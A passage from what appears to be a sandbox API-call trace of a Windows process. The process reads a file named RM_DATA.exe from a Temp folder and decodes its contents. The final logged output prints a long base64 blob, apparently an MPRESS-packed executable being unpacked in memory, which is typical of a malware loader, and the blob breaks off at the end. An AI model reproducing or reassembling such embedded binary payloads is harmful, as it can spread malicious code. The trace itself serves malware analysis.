cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.847] SetLastError (dwErrCode=0x0) [0111.847] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", nBufferLength=0x104, lpBuffer=0x19fbb8, lpFilePart=0x19fbb4 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", lpFilePart=0x19fbb4*="RM_DATA.exe") returned 0x2e [0111.847] GetLastError () returned 0x0 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0111.847] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0111.848] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp")) returned 0x10 [0111.848] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\rm_data.exe")) returned 0x20 [0111.848] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\rm_data.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0111.848] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fdec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fdec*=0) returned 0x0 [0111.848] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fdec*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fdec*=0) returned 0x65d58 [0111.848] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fdec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fdec*=0) returned 0x0 [0111.848] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fe40000 [0111.859] ReadFile (in: hFile=0x280, lpBuffer=0x7fe40018, nNumberOfBytesToRead=0x65d58, lpNumberOfBytesRead=0x19fdd8, lpOverlapped=0x0 | out: lpBuffer=0x7fe40018*, lpNumberOfBytesRead=0x19fdd8*=0x65d58, lpOverlapped=0x0) returned 1 [0111.859] CloseHandle (hObject=0x280) returned 1 [0111.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x7fe40018, cbMultiByte=417112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 417112 [0111.860] VirtualAlloc (lpAddress=0x0, dwSize=0xd0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fd70000 [0111.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x7fe40018, cbMultiByte=417112, lpWideCharStr=0x7fd7001c, cchWideChar=417112 | out: lpWideCharStr="TVpAAAEAAAACAAAA//8AALgAAAAAAAAACgAAAAAAAAAOH7oOALQJzSG4AUzNIVdpbjMyIC5FWEUuDQokQAAAAFBFAABMAQMA502PXgAAAAAAAAAA4ACOgwsBAhkAjhIAAKACAAAAAABaEhYAABAAAACwEgAAAEAAABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAADAWAAACAAAAAAAAAwAAAAAAEAAA0AAAAAAQAAAQAAAAAAAAEAAAAAAQFgCcAAAAnBAWAMABAAAAIBYADA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMgdFgAYAAAAAAAAAAAAAAAAAAAAAAAAADwRFgA4AAAAAMATAJICAAAAAAAAAAAAAAAAAAAAAAAALk1QUkVTUzEAABYAABAAAACoBAAAAgAAAAAAAAAAAAAAAAAA4AAA4C5NUFJFU1MyAA4AAAAQFgAADgAAAKoEAAAAAAAAAAAAAAAAAOAAAOAucnNyYwAAAAwNAAAAIBYAAA4AAAC4BAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdjIuMTlgAeOnBAAgBQACBIqgAB+amGjUuKcvJ/snoP+MeE4Xcq/xql5CVCUWs/6p/Tbkc0rbRu4ZbrTzrkwGVRO4ylJYCFRzYoSAtNmJXvR5g/utekl38iD+MbugeKU7VCqtXiPxGSPU7ckQY3m7jHUJipbRRFfSCfb5FHcFa4N6/19ieczXaHCJE8xZQ0qyyEQoQNnUzRFyVrTgXH0SqEm0bIyzbkwsxCOu+F90U8DwTkjc7kpru+3TEPQU671uaDEFuLcB0tR6RS8SQau5Cuyrp7jDvZ5ay76q0jnhS385D918QteqRmpw6FRD9rbCEiwdsRofqFYg8A+y9r72+CHWVQ+bPr92LQNysQyRpbdotlMjCGrmbKCoxSNQQSFMMvxT6QTuIwNKNMpvuqIw+1Mki9B+qVQl/8kk0r0uecRUTsf2200UpHWdOhaiNGr3D2Y3lT5iXvzAvEah1q0MmlmczQpwAfhHjxtJzdopHp+eJod3cEhH6IEi85DbPZy4ThtVn0YqGoxBFeH35ZnP432+/LbfeMJTvulFTEWIqTxC2kEbfip5MQbWzbY7J/0OGKHbSbK3JC+p7zwg1TVfRUYlBrDdEWYSSi/QS+j41dabwR26krlSLJV5dAUcVi4dEW6s53+VXxqrAkenPD2l6OD0oPats5Mio1CeL8dWD9LtzvO5jyS1W5L4FnpSnXWEuuv3LJld8mSGmmRJUj0kfHAaKIryhfLRT2mmzD67uQPr+i06cuhOWLK6YMOFRYyy5++EGEdCHxLVXEvzEvdv2guZkqWDO2bd2XWb9+8pfBX7T317+p5h292XmFs8VdGbQUKM+pjibQug/KuAUjGJvdVQKfV1NHqxFfeObUOR8dvEe8KC9N3XQwc0HXtOXqHC0QPTP99cMFnGq159DBk+ZhzAB5ld6j3lgoT9K6s8q45IWMU4fAF5/cgMK1hpObhRH4r6k5FlkZv/60P9YqGXHR3MV4r/eDwk4sjE3f6yxBw+121VVxPzxAwzIja+NCIt23KpzAL1P9jgA3XRsTK8ReigP2SWN8viTMCvQLGZQJg59HLZRFqjBNSJ5CbQK17DBqfCZNBKHzieKKv4W8FgcN982l33ke4vrf/ucME0E0gCtSW3bUCRIrKWFdqSKMjM2xjQlqrY5T9H5NqEK4w/Qy3d6zZf2F06TzMcmqYOo15tJMYeIs4HP3Y5atBRpI69AKWbKiU5MnGuT8NthsJtZkMD1eq99jIKKlFv4GFkkEYDN7gxNvPt4zWtKi7BwLZfA2TxlDgqb+F5efEs5pIau11UdIUbo739mI+n19+A9djv1SaW9Kgry2m431jPQ4vwGzw0rIzg4PuBcbqbvsbf0jngvy6eWJbsqeVvLWPMYdjTVubf5e6ABSI9gHOnTehaj3RTGbf1qEQVzbnUCRmkLXltwI7WjTe17UmJL/QlHwedkhW3qLTpDghe8DwCubQHhDmYVf78MCww22vkeC2eqVKuBebu5Q7yep954mJmFZJ3wmoqUJVWvfYbBzTVuNurEJQVyJZYs35TDNsUr0xlsM4PhhCxezNTOyCUkYnk1c0zfyHQkV0CHiPAfiyr0WSXJ8mvVj/osANKnq0hB8J65+Jinhgo7pC7kB5cCsQqbl6XE5yeEZqDNkkPrM2pisX2WspHPYo42CkOIUpoJCdkdt+P5dJ7Yb0q5L36G1c15zlneXRb9mhxnuIl400BsoppVc2T7HxWgzFnimoGM2oO9ylNAANT0W9eco7Sn4D5FjMPGDhG5I9qDFuWFD+miutTKp+8VH+dczG+CHjaC7RVQcrj1nE9gXUfjTGF48DmZdICMEMX2O15FQZmGkKMZ6nJ+anKN0K9+mliRATd8WkchZFFcl9dvX1yhaeuOz9QiX+VkGh1rUqNFpANrNqDVKD7NNefV+2oJqxO/RZoOo5V03o+T4yiamXlmksVv7yfVvHj0rr8qh98hzwtkUo6VKeZ4pFqPxz77SvC+F+7GwORabyAAp12Ogrwp+SCbK7wIUwfUo7lGXk5HQX3onw3Q91HLUOOkUOHCKoN6oUzUgyCFtKc5VpZ+CDriGt13kl/eVdXsn7myOdwSOQuVx6NTcv0n8xcnOMOYYRG3s66lsM07ENrpjtNtbUk2Hyf0f5MVRDP2/oOnxqMdLNVZMbV0XElnl1GkJ829eK6FivdNS6g3BvVnP/JastqwOxKjZvfgRSxbT/qT8BagswpvF41bzDrCm8KNvA6XjZx/k6RRnJENb1sztZ4mtuM0b7viKNWtsEFbn3IsYz7BmzQoNo9z+SsisDKCkEU23Y54cdCyKKt6eaTuyRhvuLXEmP2iEGs8i6/tRDsHmnH1yC0Iwyl7B7I67GcQXtxWWFk0g9zn8lwy1bCUer+AFVU+9H/G4NvPLPvaAXFiGeQ9IxhRyh5LVX0ndiBgNg9mgqhgzjAtfJbk9sQrWWwdXO8s9s9aQPHMOSPM2Vsacn8/5xK+8/lskxjUO9jiMdShxN7wBoyy06crZeGZ/kIS3t6qBRuKqZ9++eHmlHyt8Fpc14kqT3uKdx/LCEcvKsEo1oapI26/w/pQlGNSxs87H9uUqo9DS15Ieo8BkwJGmCviX5e+VXBufBTkopXzRN/M+qpFS7bihqgSY5Zb0Qq7q5GYv4AejNXoMMvDTlyowVpKrcryjb1T2/NxXo+noI3ZZR1LuZF92RuubjRGmY1ahK7WJ5+I/TJX4AoeW98OS/4roK35wuo6d2/tuhJ5PhvBJaSypDWqSddl7009Tt1WTdMe/ms7mdZhNG+THfXRlZRuWZ5F4mePwC0FqOMZw81CH1okh8u238Acu/qV8sU+WaZVPegoAjUCGjeaEp1skCCekjbQ28qUUI1D2hrqRtTsZ1VF01Va/AbgM1Ayffh/TkXkwS2vfmU2KvUL3RzHC9dcJ0qJobCsF6eWXC3WVqpVipr4phZGdaqrRnS3semzp4a1DjYDqpZGGdOMugTFprgftV8m+/Jomoy0FOlqxNr7fPuQD8CoRKDERmnh4XudqsROkIAoiOrwqxU/ZdRqpWgcuHL/pDzLuc0AmbzxSuHkuEX/Ay8tqkbzFxosiMl72N0o2EPi4FNJh0PJOWIMgExYbiiTeNenG7j5TTpxjT1DOqqAL1MID1ZFGsfnQfWHFyOZdZRCIKu3SYqv9Yof2nivCalVG2fWA9+rZ2EZAFNQYlfqQES7yKnv+dL7VjQYtwBD9GW0o5cIND/OePNY0GExvMw9NCizaq+RKXdtejcLQGVd5kAc82Ey0QHDmf4LORRKbbhuHsjEeMFKXNYZks16mqSivRAo0tVtVYQIA5c9wFmAHbfRzxBhxBynp1u1Rpe9L2vefdUYAuO3x0YjwgwEy9xpsI+Xv9qP4Ez9dm3zqcFVHvnu7Asqmv1UrbmENLHzacL3+OukkCLb4MPGY28DHsUZVWFY60lv2qvSuthG+5Eh0X8F/HuxVfLu+XFofAS/RF+ERqLrFkO0j7nobJLohSBFAhEP2futUvDYvnIiepV+HaWfAjLOr43qO7cP5jbK2ZpPsHJWrSCRzbqEuJSUMpi8KVpm84GKIaCc5kUrgl/pq9c09ZpoNez/md+g+X+0cIe99Scq0gml46K3opEAH2XndqqRV9hvsNrj2SINX6xPPWuB47OKynoI5ywdTLNk46rM8eY+c1U15dc1GJsmCF+cSD2mXY5ERhTq4uwRZm+zKQ3WMoqTBzpiSHxyJXuf6aOto/8FhLiev87TLxva0lAJWPlhpK8MYG74XFF0ej0SeWGGWIHfu3wAozBgXPibS+YJBDv8pduUx5sDmF7Kd94yL/KW6Vpr878L5v3aNxRTk9AZNezsGAgo/aul9JqHb5x/93n6//2n8IkAyWF1GdbaIMnyVUHmsr2KlfpujQX3EWM3e/mScZTsjeGq5aeqEr7Q0cxE+XEeMZJHGfnHrwa4MvpxWHDVmiJ+sk8z8D2JGZeotAGHqryI2sHWF4/JjRxJNcwOwkybPskEhjYSeDC9HBSGN6GZdHjKMVzonvoS6JeNDkqmI8kZgXB975p3C0r0NNhbWIeSBnO4Gr50BqDlVjDGVqugN4KFZCQ4gKMV31trGxBrWL5ih9jDjKw3Xdv6vboC+r9bNoU0cb6+UYAugZrOBwLOLVWcb/AGQU+zcfqcDpQTNavR+iKPI0FmFjFce32EcETOjbSRF2UdR8dvl1kosOyPTiHtWji5rae0Zwahh3MSSQoY0qtw91L4zX32BYqniWz653boYuM6sdcrYmqAhb1I7h8HWw1N0GJF44T5MkL1Rbs5K34hDOO9cHa3KHOZiE+6Qgys/Jza0q34A2MPrJTEzRGac6KjUGoswk6JEG9+HPR7BYsd45MEeoTfwjOotf911x40duXmVGdqhJTbVnXf50wKhCt5nhvgogMGcB7SK+aA9hashZRnoNpIjzU/OvUR8kjbSEDTMotI7k0OZBNTBWZvQ0p2+lqhlIk1F6R3ySg2mwIe1BUBhC8eUlaKNUNtf6cYXcTDOgqSVo8sla+1xgbMeYAHSWf+wouwSR9b0AFevbBS8L5EMf5ep3YP/m2hzSw7MBeIL/SNA+5rYnfpIk8pkW6hPoqykAVh3bH2nIFFpyvk0ls+9UvgJcsURtSumwUtVo1gpOJQYcHrDqZ4Il6ebixRCl0pkj8HNPTV9n+02BoIyZVSAGWcA4+qbdYVXGYQEIYHkBOWtvIHJv96/I0IjVQnUe1ehMANfLgEE1lxVa8H/yTyuQxZ0tdlv9SOwt8VK4Skx44jGNzFOd/XrrcmSwyPoiSmD3SYZH5Or7B3hG1bpGqJyf8mUmDWA2QTgxukfzfanCnbm59E8J1F3L0u0SGisckcMzuYNQ4GcxjMu4016PAV+3R7GpPpdUAKN0P19tQ4qSjDtGy4l/THXl7El+kNShgQEtM1XxAQlXWT670NB3a/BhhONffG0IlRrfg5sIplVQdoeIXgV0kLfOrAU5+FtbIrAKtlKG55lKYbF0l1BfqbaHvSC4ucwKLd78QBqzofolbaixPMLs5vC8SIPSD7pacPj/FLJgWUKykZ/adtiZQ1DZi00PxsD5zKPipLSN84XxedBcKD2jRfClNsiYKExPImFYsZwpHahvapDS9v8iDmaTofrVu+nwW39akq+5nuCoYQII3PGddvHZS62e3ad8wK6urJaV3Q9ohjIIBhydtvXFILgi6z4O0K+EM6LFMKitME6TRMV0OJWd6xKLcBOrVP3X5CAkWWvrrC1Aq1rUAVBg6VU6wWgpg4tFJFzN9lCN5pDNhj0O9oEy97BB52p1haUi4kecJqIqNHMnWU3ck9e6wQBUV71oycOvYfOF8mycKemR9COyKxAeonSa0IhtKevdexzslTI3yd4jlC24lFICnl+kP078vK6L0MMYX8aYXm+Z85qzh9TPqAi6EmJRL1VxdUdB6PshLYm5QqVk2mY2MajIa9lHeELuVjz75vbe3dvHZXSNvD9cAc9N7lBK7pHaGp3slociuDZDnqKlOejU7cMhQAjzWMRxysprHWuVqmvcetCKur346zJE7QDH/hYhv5HVdmAukmacaWOiP5FB39lNLqcTJebTSWlWBKASE0IQhPw2TOfU6vWX+hFblBmtGUOLNfi4TrJkPAQUiJnsQFRUoXeMUTcis1H9+w177wwe4BiANq+xkQLxg9Cc1d4easo4J7fZsRSfZCpPnvYJBhWsZpqT2Jh44FCNuONRO2xLuAJ0XeX6DlEyS4oPm1B/ceDw6YTFwb94uPxAcBK9R8TqGYFGlsoBQpCbhIrtE5/1rTJhoYzIe5jLP25UgSmSXcgZ/cGwEVDywDEtRc69l5tltLnKRLao6KV5lDk7iNGUFtUIt6FyTCLRnZK5mNH7UEoDN2t0fsSuGLoQVAtj+DyUQnG3NvJS4G0Mred0rJkRL58orUmFJcidp1CMcji+QLwxyvVlEMFX48DJRn/wFyutdmLnKFc9nmqr2C+DjAYkkuUjYJkD7Gvm+PXfEZ1SOSirKBWSJPQMyeKvAhvYzxRzcJFINHKGqDKA6TCNpuFH3dZtlWxyelIjNaoom3GDzUtDpuMrHK2kCaxxRRXCe74nBGGdQ/TSCznKkZCYS6QsIwUrbVpoA0nlaNcBFpbdBIHDP4DkpOFWogmL+BLQGA5h4G8cd6JQhuUEOi9vUmaMXy/j9MkEcysVlHLCQYdD8z+nBcEdF/xFof9tcw8mMJIzUxGAi8QzbeiEerVeQjujQM9cu+QeerVoZpWT58RYQwuK+lEBmpm+4zWA7ambBBJRYhBwG+U/dElF0rS156LhSjzdEqP4ydAaRPyQ9QNjViVFhPLKBIWv2kZWwXfikpsFCvj4kzZD2i/vj5RnyORX8ykv712O4S/lJw0FUjYjBWbo+iWs/lG9fmQlnp4VGdZ8FA4Ml1ke22RlKX+XMh7d9fsO86fF6pTN03rgR1tgdp1q1dAFeswrSZray/Mfx/h3hdj0S/QErI7wtPWG4rxnOKKGaGQi/Wx6xOiFXCQcKPa2gJegKG9BytCG0/P0cf3sYEn5/Sms9GRfJesb12f3etfulCknvam6UrDsCYBF4uHApncFeYljhMSi4MMqxOyYgHCP25pLpCHX2ALd4Xy9PkRqwVta+1nVOVqvR19SYjMteQx2uVMA4/2IOKTTkYmBCoLLnnA7rObZyPLrUnP2Wn392jC65NELTcyIkHj/VBHYTWwHKNZMBLEDHdkriD1gdoemNpT4Rf++CmWwL34Gx8S8TdgDKof2tI3VnjZsHf1qtWeIOLv+Rg5Dvo/gr7ESabLi2PTaR1Ne5XCIioECmmxzrpJaky0kgHZUDi9YpD8XWhI/pddePxrFciR81CUBhVcCasAMgSIchuGVwefyjFnmjsqHuX9uOKWqnMFR/8GOpdw6y4zV+zVjyYs41I9NXXbmnoKLBjPRQ++6HqXSbxfwOWqWOvuKcUsQvVBYPFrT1+tpPFVnEXiHT5DYyZdCaS8RvuhcF6Palk6XVqTQN1yU6jtqdQ/Pkhp/RtcaRhu+sNgqvGcUiG3/uOVr1Ut/8bVgcprk9qXQiltl5SeA/DtO13nk1lQH6ivGijLJbGw3zMOS1KhFMCLZiODNMhW7WGl6qLyB0VHyK6bWrrQzllpxpVBU+7Rz2JfW0ndUuMRoChHnG6pn8mj2zqy1o4VJWz4Hetglgc3qUpVFYngkan9YSHBwDPjE7xtP/NOYnRFPiWV1YPXiONYL5BVdyavpO2HWlgCsQ48qHMpdiI4E6dnd1XOSljD+RO9b/j9nqDxGpcrVF5JM7QsM8Vkqt1+YzRyJVhQ0IHZlIvhj3xSbjEE4NORZM+GRMD4x0IC7j3fQCCXW75b1+r8NLDUUfUvIvkoDzh+bNxL/h4+ini2MNtjO/fZdEOYr3xzKTOUP72GXb8k39H9i0uhyydjpnvpw/evUJuL0ryWrqz4D2nJ1zJRtNO3dVktqwIFPH0KFQK1tmtRGvrrbFzcshpw06yiQ0L2MCUwLOcTUmSUDyd9fewUKumU85tNZ+7ZSKwQbDzuk/5NwGqmmMGFJBzJPuXIx2aRLrJmkdh0nAiRUte1Eems+AqkbASFA59xj6KKKD8lCWXuso0n9H/eJ2wkic6/LBa3eznH28QCNTi9XZ42+q3CvQlEMgS1rsMwQFidEdL85a7/JnGt3nVoLsHaiP7X+urrqc3/wfgB9CH60cL1YSF+4reF7tpSHMwh6cIYGjEXwXWM3wzV42JpxSZ46Bb09K/993bOCbsxnmbRPCqRTxQtQYdcMpON9vS5acJT4YgWTlOyvvcj/F27e3IeyAZSv8H1p216HN149k+YHuCXzBSkVL471wKVYuW1nACewv7jw0WU7fOggXZDRX1p0yKlKzo8SF+pHkY6Qakuw4JBWSFcS2rUylCNNZgucOLLjIxYuhSSKr9ezTqnK06bx4C8sDEDC3MGaOAv8GosH6QqN9WBafEgWfNChT1wcEsDIVGvd5g7I0wDln2cVbOCSFbwO7SAJaxMovfpouANACNd3XtzMk8UsE0yoJEamK5Crj1uLnJ19LgU0KHlwILMncqrEvJfr+DkhJRFwng4K4UH9QO79S9UHdTbcp/r+Hd2Bvay2X4y3DioUaW0es7hloZYlteHZBr+pwtmYVRWVwy7XhRyeN/qlpQvVFnCGqaT+u2fYMINsTr62ZsoejVLRzmHtKjdUcSVtpOy3GoDPV7pWuiLUdfnkDjBRv7LSNokdqsaji8VIRBakBDbSuB0zqdODVv4NHRXI6H4doMo2Ob3WGZccLXz28DIq/Cab5NkjFIqC4aUivjoVxCRSy0y+JYtMemUYHO6+PFtjDbFfOcjj4VJCwfwb1fR4558FN9L6D6/fg0OPAID0ipdn4TRRUh+wVIKPaSzSi3Bx0S1axlrp4gyBld8eesK1GTdyJbgQg5h8e+kpZak7nj1vUPF6rkc+X4JthCXgQXn34jVdDZWlX0qkzWZgacVVfiOkCoH2+0wZSuxQAMHWtifmeuCmiU4l7ujPZI7qYUWrFP+nH0Ry/1C0HQRpd5TgtMBZj5Bf++w+tPoTz7LWQ9D9tqrhvPVH9wrQLDOtdpm8V3lDcGSihTfzjDexI6ODX5BmrFcHbmuImS4gM/+Jz2iJp3/wuLz16+NW4BOR/9XXw7pU/Nq4HafWGO0WJ5jAbewT/5Uo54chZqg6O8G5TU/tvl0VrQLk1ANGOOJFVHYXwYNonGCPO148DlZTfIjKS2AAuDxxLEkucZAd9PeIFEfRL/FA7AQR7kjyKdmMoer2uxAGVHyotjh0jxEfDEen1I5cOJxv6mCtFG8DVliLomlDS0nYF5oP9fvFENDQyc0IQY3r0hi8EF5+gmuH+jVTiGNqX8I2LgjZHvWY4RpnL/m/kAvDLQ7xL47S9gAWRuUlk9VYqgwypxFx0fkg2HIg6Hhx2bTJjw5agvLYseMa9h3X+zHCCHeNxonD1quwp5ruY1WIbKGl5j2PpgMTI14vu0c+iwCySYhKX/acNY0n/DMzIPEN7ZqY4murrpuKM/Whcpfw1Cy+4rez4IacNIp1oOntIF2IHTee8U5iCitnEBisbggvljrDN3VCATQ5XXnGHuEqS0pbweaMeqbS1fk3DaAiHJFJjlWOGfKDxNM86+tFAhcsygf+hAYeFFhhIBqvxJ+uB4YiCQAtlYZRxMOEaZI9N47YmFVyzyi8lPvEK/133UbkT46pZnfjBF4tOKAHOher1T/nwWtM8BrI9D0CznyD/fHjEYZnn97/9ccced89tAGpRbIpLajj9JGXDNpRHbTHQq19TwK3OK+7jfQ1cdfE2lJJKUGFBGo9BKtl3T5NDuLihj84oaIl5tOl2m78O4HbtGYza5dJHKPQfp2q8zcjNxU1nWhv9aeiXH6KYg7ovv0wYTHRkv+W8C7NcVHeqo7g6/YG2R6SCF7NXGBhGVCnKy8SeA+IbbdduiKfLETqBAcLtepS93KgB1sdjbSDGpJTaQedCjIG5ljtJV9F10A5sXw2MBAZ10bSukcDtqRo1yHRQOfTCyMd81KDOPWjkaQA4BITy0zVuTtK9TlZrrogrTXpI3Flbig78EEDHtko4Ho2Cr3Fs+kEBInANBFdLiFzjGN6A32kBRWykJZIlzBYwy4S8vPI71eW0UznkMVGCGkBNgEKtNr5r7p4PkHYGhTgryW0YmkmaOxanA6o/tmFyuW1l7Ezc2OXF0loA5G5ZXBudOI8depdvhkJtQ5b1hDp/q8v5Q6qPR7WjwPy/Q+W/VnnpWoB0/yZ1Z2ERDar2IWJQ+YizfrSKDMIX03UPBO2s+hW+d/caGmzwIMM13hFmSFN5xdhIvxd1xAGcXtTsiYMjzumBjPeCm6ldeYEligkxhcmC8QTPWcTzXx09rH8QghF8ahJhmcw5jnfthrcUNNmDy7P5DHwOPlj3gVuWXCyAreuVlkx4SjRQjn2OjiDP2L34CEFJpPOXQqGDW0g8rtPowu9fH8yWeNgt0bHYTEeqT3TqOLh/axt2wP5GxauUd1xutW9ByZxrmGz6pJJ4O+hPQfUfHx1p/RG2gWvEn1MM0grVWj69cnyTeAw0YV/caW3iXpQSkOQ0AHDXV3olDFtRKWYGDRmVbPT9byVb4BngfrRWfa2Md/3IfokLEsq77t1K0F+YvcM9cjXGZUWz9/Xe9SrM1itS6kpm5kGJ3S2Z0GQF2WRzhBn1ICdoouu8pz9lrIu8TEKPjj/RMnYTC+FuzQBpmaOE6yG1f1HacqTSwN+JqCKzZWO58Ja/2Gy4CrQ3tf+uBcjwRAEc0KfGQ/9WiIr+ig2viSLSkU3VWqUjNW2HEHFDkvZlvyR/hsb6v1FQE41uHFMl+Kor6q9lLxiWYbLCwmlcfCXN2+Lu8MkDtP0S36qw79EuxDuJ+mFsaGqviwV+YMKZIuUapKvmWvOYCJ3i6gAjWxZaMzImTGoR66nPf/ZxYdkPpxSkB5Pei4uyzv+uOhxxPqx8OXQLeDeoCiP5EeXvN3OSiKRmyU7wyniQdR8ruCHE14bLUANikwMnNp+98tQVZ0mXkuLZnX1M/s8pf3VEpLA5sntFUncY9sI+RkFliD4vznwoNzGyIMBIup3MEgIS6h7w/WP5IYQPLa47xyLq9Fk1Ki7EU8MgeRW5wFPqOP2ACgiJ0e0YsUSJXwTkyPUuFXIOy1r0LqCV3oGXtPtTjWVTNXMRG9h0xZ7RcJTUZ68KKvG3t5q8zoDmHVK3btKCH8d7iNs8IhTvDU4jJllAEjfTi1HzFYplNNcAITT41I8TqNdaHwtgFrLBGpDwrEKlrEl/ajwf0bab0z4d8z1MQ8wizBWG8UpIGChZQUeEO1KX95BnXV8QgSB16rMJAfG5bavXuqIFl2kKWkLOJl3MH+d8WTFw3DQ46NHCnWTvmP8t6q0QyXWUZ0HHC95srv39jMtdk0IjLrMdUJ6Hwf2f2tgv0oXbRLYGmdCkPZgEUViFjpzsyTP8TTc4rY4UTFp5hGtZ1Z4c1bvlOwqA+s/jfDymQ+PanAo1e1lkDfGp03ssAi4GhoL9MgaEZ7g+kJ6lVhklFlkLoFQ+SlLDzywHSApIOBLxBODoESfyfNbJy5BGseIb5NK/WgoKAy7Uw48NbQofuO1YczGBsjX9TuzxRl6F7iAuej0CoBIm7YOF1qFowIvQQBNvmhXOb+VnUNVAnxmAC66TAcefkpOZzkCSJWV3dGQmd1fRHFw4aFZmCD5WYP7G5+FEk7NBX0/12wnPZ5Pgq35AkhYxj74pod8JlWih8TRUwz1E8fe/MVR5yAjtCxHtIPbdykK58dKoq7d2avacaHTXbykiV5RvY4vEdGgcz1g8LEhXpMRV1gPj6VGHIuQnjhGjRdCzuF6YjaL5Z6kUtICX9T4i9rtjTkZrqzebzpp8M0X7Wy78Iw94jSLnXZnmvPCqoqnTxxwdxahpAsWmYN3Tm8QVw8xhkMa7cI5eoybrwm3Fvc828OeSjXF1SNJE39EOs3IwADltVseS+pigPzPd2NFXZuPoxjuZ/7LIuKZKk49k+3SC1ZEfUz6DfhdpRP1yR6VqauFi0GuDJ/VBTwZLVVvnyhsfAmWdaVfNAo1esAlPvVIlonbk6REcb+kDEkeeLSq07e/9Acb0hx4ADfSpnwKgGDHYexo4RdQiU2XDdQndikNV22Lc3oorVjtY0G9t+QCEydS1aNkDZz9r6RcSsVXDhIEWPVaF4Z2EYKzLbjH9WD1xUbkYWvBmBjUBkImnwqv2JSvmBWreRvqCpvfBsvGTZEigRklRDXYOcLihQGFPCzQQ0+GMruH1x54aHnlStOTC8rNjfDMYmQI0qu1JnX66lDD6CbcA0rZUfyc8M97Bnlb+Y7ZG5Waf2Yo+D34B1r8m66j74jE7wdf2K+uz/ium41A/6D5PELGeoXppM/FHfosY9YbtOJ7FR4IRbyBY7ObbM06wNAQhmkZXwmAyy7qP7u7qYoe+vQoVDLnSw2FMU1Evyv4sqLW/TjtfwoPWuIHtOl2giCVZj5KTtLvxgCSHl3+NrZSk8IU0uUHQsovUgJsLRNdplVcvLE0Vbbs9CP5B16/sSHsNCW5w3wmAByB2FLlYfl4fGcw0uvyHXFBVHyG9apy0OT9jek2aSV6UrE4GGwAPBOy4vXoHIbYh7aTebj6DC4/a1/TJRlyt2nPbBWyvfYkI6r8awmwlQZi7ODff88GKS5nfRM6XhuZQUHFgQBoaGUivqr1uxSwcGK6iWIreI24M3F8YBF5ZOmeWt7EIA9neU+tx95uquYsymY9gl/xx9xxmXiu0CE4cauCBiQM4pwHaJbn3sF9kBh426gxH2fXLkiay+3ZVNBErr6rsSqefZwOr6qyC77HFRcMrMvrqQg9j6B9RmAebbeC7FVzzew/CL3ao0fbuOP32h5QNJVEKcPkf86wIUiZbuDagv251LVZd391KmYeR3KM8EdjrAICrhNNvggrj4jGaCSxWtYZx1AkbcP5bkPY+dmnaU2rE9Y00RGt2chJdnUDs2+Q33ilvXFND2f1WmSlFr46R/qKEc625znyRYkE9Nidq2cVMmnOPYcNxsFqE/tNCX6o1UyxWcDMzjkG0dF3+PNNWBx95UQD+9mrk094+c9cjWYCS+1SjtbOZsOscVKk74oKK/uonY34SQMfVMfX9fVVpkRxnI9gOk/VZKfW4RG5WGDI4ZrCesS0h157ax41CZey0ElZyNltDLDCA8I7ZnmI7Y7AI5diA73/nnu/8Lqwg4DvclqUwXt3E+QUGJ+3ERJUbUBusyZ5iH065xVqNYFAS/wMomi/wEJvooNuIeL0XUAVL8cIWd/xPSX0KTTJxooc7fOdjWA4O1h48RRz8yC6rvLvBz8v/EzV8dRubGJphfiCdYW3JopiuoyRxE3mdxusL4sXtwMr7AuiKbj6BF4YM7D/0RQ0bUEvJNnpeABDs3rySm1wqF+NU1fiP0lVh4xsHQZeOwQPuP8BMd6lXG4/7Dl6cXH06n59mHctXpAX